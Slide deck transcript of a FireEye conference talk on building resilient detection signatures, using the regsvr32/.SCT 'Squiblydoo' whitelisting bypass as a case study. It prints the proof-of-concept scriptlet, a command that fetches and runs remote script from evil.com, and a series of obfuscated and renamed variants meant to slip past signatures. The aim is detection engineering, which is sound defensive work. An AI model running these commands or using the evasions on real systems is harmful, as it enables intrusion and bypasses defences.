SlideShare une entreprise Scribd logo
1  sur  98
Télécharger pour lire hors ligne
$SignaturesAreDead =
"Long Live RESILIENT Signatures" wide ascii nocase
Daniel Bohannon
@danielhbohannon
Senior Applied Security Researcher
Matthew Dunwoody
@matthewdunwoody
Senior Security Architect
©2018 FireEye | Private & Confidential
whoami
2
s/ami/arewe
Daniel Bohannon
@danielhbohannon
Beard, Coffee &
all things Obfuscation
Matthew Dunwoody
@matthewdunwoody
Person
©2018 FireEye | Private & Confidential
Experience @ Scale
Hundreds of client & customer
environments
10+ million endpoints
Hundreds of network sensors
Millions of malware samples
3
http://pluspng.com/img-png/png-hd-scale-trb-rating-scales-the-review-board-scales-of-justice-png-5600.jpg
How we operate to find evil
Outline
•
•
•
•
•
•
•
4
Outline
•
•
•
•
•
•
•
5
©2018 FireEye | Private & Confidential
<script language="DFIR-Speak">
6
https://kotaku.com/no-jackie-chan-is-not-dead-1762840753
Signature
Trigger
Rule
IOC
(Indicator of Compromise)
Hunting
What do you mean by "words"?
©2018 FireEye | Private & Confidential
<script language="DFIR-Speak">
7
https://kotaku.com/no-jackie-chan-is-not-dead-1762840753
A/V Signature
Real-time Trigger
IDS/SIEM/Snort/etc. Rule
Historical IOC
(Indicator of Compromise)
Threat Hunting
What do you mean by "words"?
©2018 FireEye | Private & Confidential
<script language="DFIR-Speak">
8
What do you mean by "words"?
©2018 FireEye | Private & Confidential
<script language="DFIR-Speak">
9
What do you mean by "words"?
Detection
–Historical & real-time
–Host- & network-based
–Language/tool agnostic
©2018 FireEye | Private & Confidential
10
File hashes?
File names?
IPs/domains?
Twitter handles in source code?
Signatures & Indicators
What are they? What are they not?
https://betanews.com/2016/07/28/how-to-print-to-pdf-directly-in-windows-10-no-software-required/
©2018 FireEye | Private & Confidential
Spot a Bad Signature
11
"You can hunt with THIS, or you can hunt with
THAT…"
©2018 FireEye | Private & Confidential
(Don't) Learn from (Bad) Signatures
12
https://follows.com/blog/wp-content/uploads/2018/02/Meme-You-Made-This.jpg
This is
an IOC
This is
an IOC
That is
an IOC?
Garbage in, garbage out
Threat
Feed
©2018 FireEye | Private & Confidential
What is a Good Signature?
13
https://www.reddit.com/r/gifs/comments/3e08b7/i_made_this_oc/
And WHO gets to decide?
Who DEFINES good signatures?
–Vendors?
–Salespeople?
–Threat feed?
–Practitioners?
Good signatures are…
©2018 FireEye | Private & Confidential
Good Signatures
14
are…
More resilient than rigid
– Resist evasions and normal changes to TTPs
More methodology-based than specific
– Capture method or technique rather than specific
procedure
More proactive than reactive
– Identify new methodologies and anticipated evasions
Outline
•
•
•
•
•
•
•
15
©2018 FireEye | Private & Confidential
Process
16
Overview
 Define detection
 Assemble a sample set
 Test existing detections
 Generate data
 Write detection
 Test and tune
http://www.radicalradiationremedy.com/wp-
content/uploads/2017/03/4419a4e7c09d3abf08c4f723be2567d2_-coming-soon-think-
process-process_800-600.png
©2018 FireEye | Private & Confidential
Process
17
Define detection
What to find
– NewHotness malware, squiblydoo, DNS C2
 When to find it
– Real time, historical
 Where to find it
– Endpoints, network, SIEM, sandbox
(Who and why should be defined based on historical incidents, threat profile and
operational priority. Please consult a qualified intel analyst for more details.)
https://www.insightsintoimpact.com/wp-
content/uploads/2018/05/process-who-what-why-where.jpg
©2018 FireEye | Private & Confidential
Process
18
Define detection
How to find it
–What tools are applicable and available
–What signature formats are supported and
best-suited
 Snort/Suricata
 SIEM query
 Yara
 Yara + modules
 OpenIOC
 Stix
 ClamAV
 Sandbox signature
–False positive tolerance
©2018 FireEye | Private & Confidential
Process
19
Assemble a Sample Set
 Samples representing the thing
 Collected
– Every available example
– All variants and versions
 Generated (if applicable)
– Run builders, compilers, obfuscators
– Develop new variants based on methodology
 Try to enumerate the entire problem set
– Don’t stop at the most common examples
https://www.zedge.net/wallpaper/e532419
c-4a75-4d6c-869b-eb422735dcd9
Set
Bonus
©2018 FireEye | Private & Confidential
Process
20
Test Existing Detections
 Test existing detection capabilities for any free wins
– Test safely, ideally outside of prod
– Inform stakeholders
 Adjust priority of applicable existing detections
– Generic.PwShell.RefA.1B61FA61 == invoke-mimikatz
– Gen:Variant.Ursu.120152 == ChopStick
 Fill gaps in existing capabilities
 Extend detection to other media / engines
©2018 FireEye | Private & Confidential
Process
21
Generate Data
 Generate data
– Logs
– PCAP
– Binary metadata
– Strings
 This may not be necessary for plain text
http://www.startrek.com/uploads/assets/db_articles/26da32597d9bd37fde9d
a22660aa524f24fd725c.jpg
©2018 FireEye | Private & Confidential
Process
22
Write detection
 Start broad and tune down
 Many detections can be translated between
type
 Be mindful of, and challenge, assumptions
 Actively try to bypass methodology-based
detections
 May need specific rules to capture specific
cases
https://www.timeshighereducation.com/sites/default/files/styles/the_breaking_news_
image_style/public/person-writing-letter-with-metal-quill.jpg?itok=lCt7Bo6c
©2018 FireEye | Private & Confidential
Process
23
Test
 FN testing against sample set
– Gotta catch em all
 FP testing against legit data
– Start small, tune to FP target, increase scale, iterate
– Re-test against samples to validate tuning
– If compromise to hit FP target, document what is missed
 Test against new TPs that are identified during testing or
deployment
– Do all of the detections catch it?
https://blog.essaytigers.com/wp-
content/uploads/failed-exam-491x350.jpg
Outline
•
•
•
•
•
•
•
24
©2018 FireEye | Private & Confidential
Binaries
25
Background
Attackers still use malicious binaries
Malware changes frequently
– Polymorphic
– Builders
– Version updates
Can’t always rely on AV
– AV sigs lag
– Easy to test against, easy to bypass
– Can’t always submit malware to vendors
ML is great but it depends on
the model and
implementation - doesn’t
detect everything
Validate the effectiveness of
existing detection
Intelligence gathering, eg. VT
retrohunt
©2018 FireEye | Private & Confidential
Binaries
26
Background
Existing detection/protection ineffective AND:
– Active intrusion
– High-priority threat
– Prolific or publicly-available
malware
Need additional context
beyond “it’s bad”
Intel gathering, tagging, etc.
https://medium.com/@dunstconsulting/the-different-types-of-malware-analysis-c9bfbaa44739
©2018 FireEye | Private & Confidential
Binaries
27
Define Detection
Example:
–What: All Chopstick malware variants
–Where: Endpoint, network, sandbox
–When: Historical and real-time
–How: Yara + modules, OpenIOC, Snort,
SIEM, EDR
–False positive tolerance: Moderate
http://4.bp.blogspot.com/-
FzMgc7Y015s/U9VZdexxSJI/AAAAAAAAAJ4/9QOwiRu-
K6g/s1600/diningtips04.jpg
©2018 FireEye | Private & Confidential
Binaries
28
Assemble a Sample Set
For attacker malware, collect as
many samples as possible, from as
many variants as possible
– Collect hashes from high-confidence
sources
 Threat intel feeds
 Public malware repos
 Malware analysis reports
–VirusTotal Intelligence
– Implant builders
 Blogs
https://attack.mitre.org/wiki/Software/S0023
©2018 FireEye | Private & Confidential
Binaries
29
Assemble a Sample Set
For public malware, generate representative samples
– Use multiple versions, if updates are available
– Generate variants for all of the significant
options in a builder
 Focus on options that impact the structure,
behavior or network comms of the malware
– Use common packers and obfuscators
 UPX
 ConfuserEx (.Net)
https://funnyjunk.com/funny_pictures/3434944/Awesome+starwars/167
©2018 FireEye | Private & Confidential
Binaries
30
Test Existing Detections
 Test
– Scan with static engines (AV / ML)
– Run on isolated test system for real-time /
dynamic
– Replay PCAP through IDS
– Run in sandbox
 What alerts are generated?
 What data is produced?
 Stop here or continue?
http://www.educationviews.org/wp-content/uploads/2017/03/petri-dish-used-for_f5f2b18d-d028-
4921-9ad0-938bb9d3720b.jpg
©2018 FireEye | Private & Confidential
Binaries
31
Generate data
Collect dynamic execution details
– Sandbox reports
– Online sandboxes, vendor
sandboxes, Cuckoo
– Malware reports and blogs
– Manual dynamic analysis
– Process memory / strings
– PCAP capture
Parse binaries using tools
– PEExplorer, CFF Explorer, others
– SigCheck
– FLOSS / Strings
– Vendor analysis engine
©2018 FireEye | Private & Confidential
Binaries
32
Write Detection
 Group samples based on data
– Windows vs. OSX vs. *nix
– EXE vs. DLL version
– Different import hashes
Look for outliers that may not belong
Look for commonalities across remaining
samples
Divide further when commonalities break
down https://www.computerhope.com/jargon/s/sort.htm
©2018 FireEye | Private & Confidential
Binaries
33
Write Detection
Look for common elements within each group and across groups
Dynamic execution items
– Persistence
– Mutex
– Named pipe
– C2
– Handle to config file/reg
– String decoded in memory
– Injection into a known process
Resources
Export name
Size range
Export timestamp
PE timestamp
Import hash
PE characteristics
Strings
Hex strings
Authenticode
signature
Imports/exports
Sections/non-
section data
Version info
©2018 FireEye | Private & Confidential
Binaries
34
Write Detection
Look for common elements within each group and across groups
Dynamic execution items
– Persistence
– Mutex
– Named pipe
– C2
– Handle to config file/reg
– String decoded in memory
– Injection into a known process
Resources
Export name
Size range
Export timestamp
PE timestamp
Import hash
PE characteristics
Strings
Hex strings
Authenticode
signature
Imports/exports
Sections/non-
section data
Version info
 Literally anything else
available tools support
©2018 FireEye | Private & Confidential
Binaries
35
Write Detection
Use common elements as starting point
– If it detects all known versions, based on common elements,
increases the chance of catching future versions
Use behavior-based detections where possible
Incorporate both structure of malware and attacker TTPs in
deploying/using it
Add in weaker detections (hashes, domains, etc.)
Make signatures as broad as possible, and detect in as many ways as
possible, with acceptable FP rate
©2018 FireEye | Private & Confidential
Binaries
36
Test
Run it!
– Against sample set
– Against clean systems
– Against corpus of malware & binaries
 VT retrohunt, WSUS, etc.
– Test environment (if available)
– Production test
Review hits, update (for TPs & FPs) and iterate
Keep the rule as broad as possible while maintaining FP rate
https://img.memecdn.com/run-fail_o_2718843.webp
Outline
•
•
•
•
•
•
•
38
©2018 FireEye | Private & Confidential
Regsvr32.exe + .SCT
39
Found by Casey Smith
(@subTee) in 2016
App whitelisting bypass
Regsrv32.exe to execute
local or remote .SCT file
scripting contents
What's this SquiblyDoo you speak of?
Detection opportunities:
–Regsvr32.exe execution
 Arguments
 .DLL loads
 Network connection
–.SCT file contents
 Network & Host
©2018 FireEye | Private & Confidential
Regsvr32.exe + .SCT
40
The original POC
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}">
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
bla.sct
Command
regsvr32.exe /s /n /u /i:http://evil.com/bla.sct scrobj.dll
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
41
#KnowYourOptions
Command
 regsvr32.exe
 /s /n /u /i:http://
 .sct
 scrobj.dll
regsvr32.exe /s /n /u /i:http://evil.com/bla.sct scrobj.dll
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
42
#KnowYourOptions
Command
 regsvr32.exe
 /s /n /u /i:http://
 .sct
 scrobj.dll
regsvr32.exe /s /n /u /i:http:evil.com/bla.sct scrobj.dll
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
43
#KnowYourOptions
regsvr32.exe /s /n /u /i:https:evil.com/bla.sct scrobj.dll
Command
 regsvr32.exe
 /s /n /u /i:http:
 .sct
 scrobj.dll
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
44
#KnowYourOptions
regsvr32.exe /s /n /u /i:https:evil.com/bla.sct scrobj.dll
Command
 regsvr32.exe
 /s /n /u /i:http
 .sct
 scrobj.dll
 /i:http:
 /i:https
 /i:ftp:
 /i:remotec$
 /i:C:Tempbla.sct
 /i:bla.sct
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
45
#KnowYourOptions
regsvr32.exe /s /n /u /i:https:evil.com/bla.sct scrobj.dll
Command
 regsvr32.exe
 /s /n /u /i:http
 .sct
 scrobj.dll
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
46
#KnowYourOptions
regsvr32.exe /u /n /s /i:https:evil.com/bla.sct scrobj.dll
Command
 regsvr32.exe
 /s .
 /n .
 /u .
 /i:http
 .sct
 scrobj.dll
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
47
#KnowYourOptions
regsvr32.exe /u /i:https:evil.com/bla.sct /n scrobj.dll /s
Command
 regsvr32.exe
 /s .
 /n .
 /u .
 /i:http
 .sct
 scrobj.dll
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
48
#KnowYourOptions
regsvr32.exe /u /i:https:evil.com/bla.sct /n scrobj.dll /s
Command
 regsvr32.exe
 /s .
 /n .
 /u .
 /i:http
 .sct
 scrobj.dll
/n – Do not call
DllRegisterServer or
DllUnregisterServer; this
option must be used with
/i.
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
49
#KnowYourOptions
regsvr32.exe /u /i:https:evil.com/bla.sct scrobj.dll /s
Command
 regsvr32.exe
 /s .
 /n .
 /u .
 /i:http
 .sct
 scrobj.dll
/n – Do not call
DllRegisterServer or
DllUnregisterServer; this
option must be used with
/i.
 FALSE! Not required 
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
50
#KnowYourOptions
regsvr32.exe /u /i:https:evil.com/bla.sct scrobj.dll /s
Command
 regsvr32.exe
 /s .
 /u .
 /i:http
 .sct
 scrobj.dll
/n – Do not call
DllRegisterServer or
DllUnregisterServer; this
option must be used with
/i.
 FALSE! Not required 
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
51
#KnowYourOptions
regsvr32.exe /u /i:https:evil.com/bla.sct scrobj.dll /s
Command
 regsvr32.exe
 /s .
 /u .
 /i:http
 .sct
 scrobj.dll
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
52
#KnowYourOptions
regsvr32.exe -u -i:https:evil.com/bla.sct scrobj.dll -s
Command
 regsvr32.exe
 /s or -s.
 /u or -u .
 /i:http or -i:http
 .sct
 scrobj.dll
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
53
#KnowYourOptions
regsvr32.exe -u -i:https:evil.com/bla.sct scrobj.dll -s
Command
 regsvr32.exe
 /s or -s.
 /u or -u .
 /i:http or -i:http
 .sct
 scrobj.dll
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
54
#KnowYourOptions
regsvr32 -u -i:https:evil.com/bla scrobj -s
Command
 regsvr32.exe
 /s or -s.
 /u or -u .
 /i:http or -i:http
 .sct
 scrobj.dll
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
55
#KnowYourOptions
regsvr32 -u -i:https:evil.com/bla scrobj -s
Command
 regsvr32
 /s or -s.
 /u or -u .
 /i:http or -i:http
 scrobj
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
56
#KnowYourOptions
regsvr32 -u -i:https:evil.com/bla scrobj -s
Command
 regsvr32
 /s or -s.
 /u or -u .
 /i:http or -i:http
 scrobj
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
57
#KnowYourOptions
regsvr32 -u -i:https:evil.com/bla scrobj -s
Command
 regsvr32
 /s or -s.
 /u or -u .
 /i:http or -i:http
 scrobj
C:> copy regsvr32.exe casey.exe
C:> copy scrobj.dll smith.dll
Renaming
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
58
#KnowYourOptions
casey -u -i:https:evil.com/bla smith -s
Command
 regsvr32
 /s or -s.
 /u or -u .
 /i:http or -i:http
 scrobj
C:> copy regsvr32.exe casey.exe
C:> copy scrobj.dll smith.dll
Renaming
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
59
#KnowYourOptions
casey -u -i:https:evil.com/bla smith -s
Command
 /s or -s.
 /u or -u .
 /i:http or -i:http
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
60
#KnowYourOptions
casey -u -i:https:evil.com/bla smith -s
Command
 /s or -s .
 /u or -u .
 /i:http or -i:http
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
61
#KnowYourOptions
casey -ugh... -i:https:evil.com/bla smith -s
Command
 /s or -s .
 /u or -u .
 /i:http or -i:http
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
62
#KnowYourOptions
casey -ugh... -i:https:evil.com/bla smith -stop-it!
Command
 /s or -s .
 /u or -u .
 /i:http or -i:http
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
63
#KnowYourOptions
casey -ugh... -i:https:evil.com/bla smith -stop-it!
Command
 /s or -s
 /u or -u
 /i:http or -i:http
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
64
#KnowYourOptions
casey "-"ugh... -i:https:evil.com/bla smith -""stop-it!
Command
 /s or -s
 /u or -u
 /i:http or -i:http
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
65
#KnowYourOptions
casey "-"ugh... -"i":ht""tps:evil.com/bla smith -""stop-it!
Command
 /s or -s
 /u or -u
 /i:http or -i:http
https://imgur.com/gallery/Vs7D1QO
©2018 FireEye | Private & Confidential
Detecting Regsvr32.exe Arguments
66
Different approaches pay off…
Command
http://knowyourmeme.com/memes/happy-cat
I CAN HAS
MAGIC REGEX?
Arguments w/o obfuscation
Handle obfuscation separately
Handle renamed .exe/.dll separately
Regsvr32.exe network connections
Regsvr32.exe image load events
–Jscript.dll, jscript9.dll, vbscript.dll
Regsvr32.exe args over the network
Outline
•
•
•
•
•
•
•
67
©2018 FireEye | Private & Confidential
Detecting .SCT Content
68
YARA fans & network analysts awaken…
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}">
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
bla.sct
Command
regsvr32.exe /s /n /u /i:http://evil.com/bla.sct scrobj.dll
©2018 FireEye | Private & Confidential
Detecting .SCT Content
69
YARA fans & network analysts awaken…
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}">
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
bla.sct
What's common?
(there by default)
#lazyhacker
©2018 FireEye | Private & Confidential
Detecting .SCT Content
70
YARA fans & network analysts awaken…
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}">
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
bla.sct
What's common?
(there by default)
#lazyhacker
©2018 FireEye | Private & Confidential
Detecting .SCT Content
71
YARA fans & network analysts awaken…
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}">
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
bla.sct
What's common?
(there by default)
#lazyhacker
What's required?
©2018 FireEye | Private & Confidential
Detecting .SCT Content
72
YARA fans & network analysts awaken…
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}">
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
bla.sct
What's common?
(there by default)
#lazyhacker
What's required?
©2018 FireEye | Private & Confidential
Detecting .SCT Content
73
YARA fans & network analysts awaken…
<?XML?>
<scriptlet>
<registration
classid="{F0001111-0000-0000-0000-0000FEEDACDC}">
<script language="JScript">
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</script>
</registration>
</scriptlet>
bla.sct
What's common?
(there by default)
#lazyhacker
What's required?
©2018 FireEye | Private & Confidential
Detecting .SCT Content
74
YARA fans & network analysts awaken…
<?XML?>
<scriptlet>
<registration
classid="{F0001111-0000-0000-0000-0000FEEDACDC}">
<script language="JScript">
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</script>
</registration>
</scriptlet>
bla.sct
What's common?
(there by default)
#lazyhacker
What's required?
What can change?
©2018 FireEye | Private & Confidential
Detecting .SCT Content
75
YARA fans & network analysts awaken…
<?XML?>
<scriptlet>
<registration
classid="{F0001111-0000-0000-0000-0000FEEDACDC}">
<script language="JScript">
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</script>
</registration>
</scriptlet>
bla.sct
What's common?
(there by default)
#lazyhacker
What's required?
What can change?
©2018 FireEye | Private & Confidential
Detecting .SCT Content
76
YARA fans & network analysts awaken…
<?XML?>
<scriptlet>
<registration
classid='{F0001111-0000-0000-0000-0000FEEDACDC}'>
<script language='JScript'>
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</script>
</registration>
</scriptlet>
bla.sct
What's common?
(there by default)
#lazyhacker
What's required?
What can change?
©2018 FireEye | Private & Confidential
Detecting .SCT Content
77
YARA fans & network analysts awaken…
<?XML?>
<scriptlet>
<registration
classid='{F0001111-0000-0000-0000-0000FEEDACDC}'>
<script language='JScript'>
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</script>
</registration>
</scriptlet>
bla.sct
What's common?
(there by default)
#lazyhacker
What's required?
What can change?
https://commons.wikimedia.org/wiki/File:Acdc_logo_band.svg
©2018 FireEye | Private & Confidential
Detecting .SCT Content
78
YARA fans & network analysts awaken…
<?XML?>
<scriptlet>
<registration
classid='{FDB01111-0000-0000-0000-0000FEEDACDC}'>
<script language='JScript'>
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</script>
</registration>
</scriptlet>
bla.sct
What's common?
(there by default)
#lazyhacker
What's required?
What can change?
https://commons.wikimedia.org/wiki/File:Acdc_logo_band.svg
©2018 FireEye | Private & Confidential
Detecting .SCT Content
79
YARA fans & network analysts awaken…
<?XML?>
<scriptlet>
<registration
classid='{FDB0FDB0-0000-0000-0000-0000FEEDACDC}'>
<script language='JScript'>
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</script>
</registration>
</scriptlet>
bla.sct
What's common?
(there by default)
#lazyhacker
What's required?
What can change?
https://commons.wikimedia.org/wiki/File:Acdc_logo_band.svg
©2018 FireEye | Private & Confidential
Detecting .SCT Content
80
YARA fans & network analysts awaken…
<?XML?>
<scriptlet>
<registration
classid='{FDB0FDB0-FDB0-FDB0-FDB0-0000FEEDACDC}'>
<script language='JScript'>
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</script>
</registration>
</scriptlet>
bla.sct
What's common?
(there by default)
#lazyhacker
What's required?
What can change?
https://commons.wikimedia.org/wiki/File:Acdc_logo_band.svg
©2018 FireEye | Private & Confidential
Detecting .SCT Content
81
YARA fans & network analysts awaken…
<?XML?>
<scriptlet>
<registration
classid='{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFFDB0}'>
<script language='JScript'>
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</script>
</registration>
</scriptlet>
bla.sct
What's common?
(there by default)
#lazyhacker
What's required?
What can change?
https://commons.wikimedia.org/wiki/File:Acdc_logo_band.svg
©2018 FireEye | Private & Confidential
Detecting .SCT Content
82
YARA fans & network analysts awaken…
<?XML?>
<scriptlet>
<registration
classid='{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFFDB0}'>
<script language='JScript'>
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</script>
</registration>
</scriptlet>
bla.sct
What's common?
(there by default)
#lazyhacker
What's required?
What can change?
©2018 FireEye | Private & Confidential
Detecting .SCT Content
83
YARA fans & network analysts awaken…
<?XML?>
<component>
<registration
classid='{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFFDB0}'>
<script language='JScript'>
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</script>
</registration>
</component>
bla.sct
What's common?
(there by default)
#lazyhacker
What's required?
What can change?
©2018 FireEye | Private & Confidential
Detecting .SCT Content
84
YARA fans & network analysts awaken…
<?XML?>
<component>
<registration
classid='{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFFDB0}'>
<script language='JScript'>
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</script>
</registration>
</component>
bla.sct
What's common?
(there by default)
#lazyhacker
What's required?
What can change?
JScript
VBScript
JScript.Encode
VBScript.Encode
#@~^NAAAAA==O•/O,',ZD•lDnr(LnmD`E
UmDb2Yc?t•ssJ*R"EU`E^mV^
R•a+r#ahEAAA==^#~@
©2018 FireEye | Private & Confidential
Detecting .SCT Content
85
YARA fans & network analysts awaken…
<?XML?>
<component>
<registration
classid='{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFFDB0}'>
<script >
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</script>
</registration>
</component>
bla.sct
What's common?
(there by default)
#lazyhacker
What's required?
What can change?
JScript
VBScript
JScript.Encode
VBScript.Encode
#@~^NAAAAA==O•/O,',ZD•lDnr(LnmD`E
UmDb2Yc?t•ssJ*R"EU`E^mV^
R•a+r#ahEAAA==^#~@
©2018 FireEye | Private & Confidential
Detecting .SCT Content
86
YARA fans & network analysts awaken…
<?XML ?>
<component >
<registration
classid = '{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFFDB0}' >
<script >
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</script >
</registration >
</component >
bla.sct
What's common?
(there by default)
#lazyhacker
What's required?
What can change?
What can be added?
©2018 FireEye | Private & Confidential
Detecting .SCT Content
87
YARA fans & network analysts awaken…
<?XML ?>
<component >
<registration
classid = '{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFFDB0}' >
<script >
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</script >
</registration >
</component >
bla.sct
What's common?
(there by default)
#lazyhacker
What's required?
What can change?
What can be added?
var r = new ActiveXObject ( "WScript.Shell" ) . Run ( "calc.exe" ) ;
©2018 FireEye | Private & Confidential
Detecting .SCT Content
88
YARA fans & network analysts awaken…
<?XML ?><component ><registration classid =
'{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFFDB0}' ><script
>var r = new ActiveXObject ( "WScript.Shell" ) . Run
( "calc.exe" ) ; </script ></registration ></component >
bla.sct
What's common?
(there by default)
#lazyhacker
What's required?
What can change?
What can be added?
©2018 FireEye | Private & Confidential
Detecting .SCT Content
89
Different approaches pay off…
<?XML ?><component ><registration classid =
'{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFFDB0}' ><script
>var r = new ActiveXObject ( "WScript.Shell" ) . Run
( "calc.exe" ) ; </script ></registration ></component >
bla.sct
Network detections:
–Download over HTTP
–Transfer over SMB
Host detections:
–Downloaded .SCT file
(extension doesn’t matter) in
 Temporary Internet Files
 INetCache
©2018 FireEye | Private & Confidential
Detecting .SCT Content
90
Different approaches pay off…
Command
http://knowyourmeme.com/memes/happy-cat
I CAN HAS
MAGIC REGEX?
Script w/o obfuscation
Handle obfuscation separately
Focus on default strings (lazy attacker)
Focus on anchors (“<registration”) with
ABSENCE of default strings
Detections against scripting content
payload regardless of .SCT wrapper
–DotNetToJScript
Outline
•
•
•
•
•
•
•
91
©2018 FireEye | Private & Confidential
Proactive Detection
92
Hunting
Form a hypothesis of a way to find evil
and test
– Gather data and conduct analysis
Find evil vs. define detection for evil
Synergy!
–Hunt to validate detection
–Develop detection based on hunt
result
https://www.usatoday.com/story/news/2018/08/28/grizzly-
hunt-pits-tourists-against-sportsmen-wyoming/1065854002/
©2018 FireEye | Private & Confidential
Proactive Detection
93
Hunting
One output of a hunt should be new
detections
– Blacklist evil or whitelist good
Detections that do not meet the target
FP tolerance should become hunts
If you’re hunting for the same things
over and over, consider automating
that process into a detection
https://press-start.com.au/news/pcmac/2017/03/09/duck-hunt-inspired-game-coming-vr/
I may have had the Duck Hunt high score the last time I was at BruCon
©2018 FireEye | Private & Confidential
Proactive Detection
94
Detect across the attack lifecycle
Initial Compromise Establish Foothold Escalate Privileges Internal Recon Complete Mission
Move
Laterally
Maintain
Presence
• Backdoor variants
• VPN subversion
• Sleeper malware
• Net use commands
• Reverse shell access
• Social
engineering
• External
compromise
• Custom malware
• C2
• App exploitation
• Credential theft
• Password cracking
• “Pass-the-hash”
• Critical system recon
• System, Active Directory,
and user enumeration
• Staging servers
• Data consolidation
• Data theft
©2018 FireEye | Private & Confidential
Proactive Detection
95
Where else do our detection ideas come from?
Active and historic attacker activity in hundreds of Incident Response
engagements and managed service customers
Analyzing malware samples from engagements and malware
repositories (internal/external)
Intel (the good kind)
Open source research - Twitter, Github, vendor blog posts, etc. (Github
history is an invaluable resource)
Crazy whims – IWHO (“I Wonder How Often…”)
Outline
•
•
•
•
•
•
•
96
©2018 FireEye | Private & Confidential
Takeaways
97
I’ll take mine to go
Know what you are detecting today and HOW you are detecting it
– What data sources?
– What toolsets?
– What timeframes (lag time to actionable alert/data)?
Know your assumptions about attacker techniques and your own
visibility
Capture result of hunts as new detections
©2018 FireEye | Private & Confidential
Takeaways
98
Second helping
Know your tools
– Validate data sources with more than one tool
– Understand limitations of toolsets and/or artifacts and compensate elsewhere
(build your own, open source tooling, etc.)
Automate repetitive tasks to free you up to more effectively develop
methodology-based detections
– Initial idea and detection development
– Tuning/scrapping/rebuilding of detection
– Monitoring and tuning going forward for detection
Thank You!
@matthewdunwoody
@danielhbohannon
99

Contenu connexe

Tendances

An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015
